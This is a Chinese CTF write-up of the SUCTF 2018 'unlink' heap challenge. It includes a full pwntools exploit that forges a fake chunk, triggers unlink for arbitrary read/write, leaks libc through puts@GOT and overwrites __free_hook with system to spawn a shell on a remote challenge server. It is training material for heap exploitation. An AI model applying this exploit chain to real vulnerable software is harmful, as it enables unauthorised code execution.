【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink

在前期学习了unlink后,今天翻NSSCTF找到一道名为unlink的题目,尝试不看wp做。过程很顺利!


前言

题目对于知识点unlink还是非常裸的,很直接,思路很清晰。


一、题目

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第1张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第2张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第3张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第4张图片


二、思路浅析

通过对该程序的反编译,我们发现存在存储malloc得到空间地址的指针序列,存放在bss段上,同时take_note存在溢出漏洞,可以出发unlink——将指针劫持到bss段上指针序列地址。同时malloc到的指针区域有着读写权限,这意味着我们可以通过unlink达到任意地址读写的极高权限!

很明显:

1.unlink

2.__free_hook劫持


三、exp

先给出exp,再把exp过程部分断点效果展示给大家,方便大家理解。(第四部分,对于raw_input()断下处,进行gdb调试分析)

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28867)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def touch(size):
    io.sendlineafter(b'chooice :\n',b'1')
    io.sendlineafter(b'size : \n',str(size).encode())

def delete(index):
    io.sendlineafter(b'chooice :\n',b'2')
    io.sendlineafter(b'to delete\n',str(index).encode())

def show(index):
    io.sendlineafter(b'chooice :\n',b'3')
    io.sendlineafter(b'to show\n',str(index).encode())
    io.recvuntil(b'is : ')

def take_note(index,payload):
    io.sendlineafter(b'chooice :\n',b'4')
    io.sendlineafter(b'modify :\n',str(index).encode())
    io.sendafter(b'content\n',payload)

if input('[!]Input "0" to gdb attach : ')=='0':
    gdb.attach(io)
buf=0x6020C0
touch(0x20)  # 写fake-chunk、溢出下一个chunk
touch(0x80)  # free触发unlink
touch(0x100) # 防止和topchunk合并
raw_input('[!]check')

# 写fake-chunk,溢出下一个chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
raw_input('[!]check')

# 触发unlink
delete(1)
raw_input('[!]check')

# 修改系列ptr的值
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload)
raw_input('[!]check')

# 通过puts泄露libc地址
payload=p64(elf.got['puts'])
take_note(0,payload)
raw_input('[!]check')
show(1)
puts=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
success(hex(puts))

# __free_hook
libc_base=puts-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
raw_input('[!]check')
system=libc_base+libc.sym['system']
take_note(1,p64(system))
raw_input('[!]check')
delete(2)

io.interactive()

四、exp效果具体分析

1.fake_chunk部分

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第5张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第6张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第7张图片

这是刚分配完三个chunk后的内存情况,当我们执行下面这些语句构造fake_chunk

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第8张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第9张图片

2.触发unlink

由于我们已经内存精心布置过,这是我们free chunk1能够向前合并chunk0中构造的fake_chunk且绕过保护机制

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第10张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第11张图片

利用成功!

3.稍作修改

实际已经获得了任意地址读写的能力,但是个人习惯,先将上面的地址稍稍改一下

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第12张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第13张图片

4.任意地址读——泄露libc——泄露puts真实地址

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第14张图片

首先将puts的got表地址写到bss上,再通过show函数访问栈上指针指向的区域,也即puts_got内存储的东西——puts的真实地址,通过相对地址可泄露libc基址进而获得其他需要的函数/字符串地址

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第15张图片

5.劫持__free_hook

思路是将__free_hook的got表写在chunk1指针处,将指向字符串'/bin/sh\x00'的指针写在chunk2位置,然后通过take_note函数写__free_hook为system,再free掉chunk2触发system('/bin/sh\x00')

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第16张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第17张图片

【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第18张图片 【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink_第19张图片

 成功获得shell(这里是本地调试)

你可能感兴趣的:(【PWN,·,heap】,heap,CTF,PWN,unlink,__free_hook)